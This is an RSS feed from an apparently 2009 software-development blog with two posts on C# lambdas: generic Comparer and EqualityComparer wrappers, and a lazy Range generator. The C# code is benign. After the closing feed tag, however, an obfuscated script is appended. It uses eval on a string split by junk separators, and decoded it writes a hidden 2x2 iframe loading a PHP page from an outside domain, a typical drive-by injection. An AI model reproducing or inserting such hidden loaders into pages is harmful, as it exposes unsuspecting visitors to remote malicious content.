<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; lambdas</title>
	<atom:link href="http://www.lexparse.com/tag/lambdas/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>C# Lambdas:  Never implement IComparer and IEqualityComparer again</title>
		<link>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/</link>
		<comments>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 12:22:33 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Distinct]]></category>
		<category><![CDATA[IComparer]]></category>
		<category><![CDATA[IEqualityComparer]]></category>
		<category><![CDATA[lambdas]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[Sort]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=99</guid>
		<description><![CDATA[If you&#8217;ve used LINQ and lambdas, I&#8217;m sure you&#8217;ve come across the occasional function that requires an implementation of IEqualityComparer,or IComparer.  You were hoping to write a little Lambda predicate but NOOOOOO, now you have to create a new type and implement an interface.  Well no longer.  I&#8217;m hoping these are the [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;ve used LINQ and lambdas, I&#8217;m sure you&#8217;ve come across the occasional function that requires an implementation of IEqualityComparer,or IComparer.  You were hoping to write a little Lambda predicate but NOOOOOO, now you have to create a new type and implement an interface.  Well no longer.  I&#8217;m hoping these are the last two classes, in the history of mankind, that inherit from IComparer and IEqualityComparer:</p>
<pre name="code" class="c-sharp">
public class Comparer&lt;T&gt; : IComparer&lt;T&gt;
{
   private Func&lt;T, T, int&gt; _compareFn;

   public Comparer(Func&lt;T, T, int&gt; fn)
   {
      _compareFn = fn;
   }

   public int Compare(T x, T y)
   {
      return _compareFn(x, y);
   }

}

public class EqualityComparer&lt;T&gt; : IEqualityComparer&lt;T&gt;
{
   private Func&lt;T, T, bool&gt; _equalsFn;
   private Func&lt;T, int&gt; _getHashCodefn;

   public EqualityComparer(Func&lt;T, T, bool&gt; equalsFn, Func&lt;T, int&gt; getHashCodefn)
   {
      _equalsFn = equalsFn;
      _getHashCodefn = getHashCodefn;
   }

   public bool Equals(T x, T y)
   {
      return _equalsFn(x, y);
   }

   public int GetHashCode(T obj)
   {
      return _getHashCodefn(obj);
   }
}
</pre>
<p>2 Examples:</p>
<pre name="code" class="c-sharp">
List&lt;int&gt; l = new List&lt;int&gt; { 1, 2, 5, 7, 999, 234, 4 };
l.Sort(new Comparer&lt;int&gt;((x, y) =&gt; x &lt; y ? -1 : x == y ? 0 : 1));

Dictionary&lt;int, string&gt; d = new Dictionary&lt;int, string&gt;() { { 1, "a" }, { 2, "a" }, { 3, "b" } };

var d2 = d.Distinct(new EqualityComparer&lt;KeyValuePair&lt;int, string&gt;&gt;(
   (kvp1, kvp2) =&gt; kvp1.Value == kvp2.Value, kvp =&gt; kvp.Value.GetHashCode()));
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/02/c-lambdas-never-implement-icomparer-and-iequalitycomparer-again/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>C#: Generics, lambdas, laziness</title>
		<link>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/</link>
		<comments>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 19:14:37 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[generics]]></category>
		<category><![CDATA[lambdas]]></category>
		<category><![CDATA[laziness]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=10</guid>
		<description><![CDATA[You need a lazy sequence of something:

public static IEnumerable&#60;T&#62; Range&#60;T&#62;(T Start, T End, Func&#60;T, T&#62; inc) where T : IComparable&#60;T&#62;
{
   T result = Start;
   while (result.CompareTo(End) &#60;= 0)
   {
      yield return result;
      result = inc(result) ;
   }
}

Need [...]]]></description>
			<content:encoded><![CDATA[<p>You need a lazy sequence of something:</p>
<pre name="code" class="c-sharp">
public static IEnumerable&lt;T&gt; Range&lt;T&gt;(T Start, T End, Func&lt;T, T&gt; inc) where T : IComparable&lt;T&gt;
{
   T result = Start;
   while (result.CompareTo(End) &lt;= 0)
   {
      yield return result;
      result = inc(result) ;
   }
}
</pre>
<p>Need a sequence of integers up to a million:</p>
<pre name="code" class="c-sharp">
Funcs.Range(0, 1000000, (j =&gt; j + 1));
</pre>
<p>Need an infinite list of uppercase letters:</p>
<pre name="code" class="c-sharp">
Funcs.Range('A', '[', (c =&gt; c &gt;= 'Z' ? 'A' : (char)(c + 1)));
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>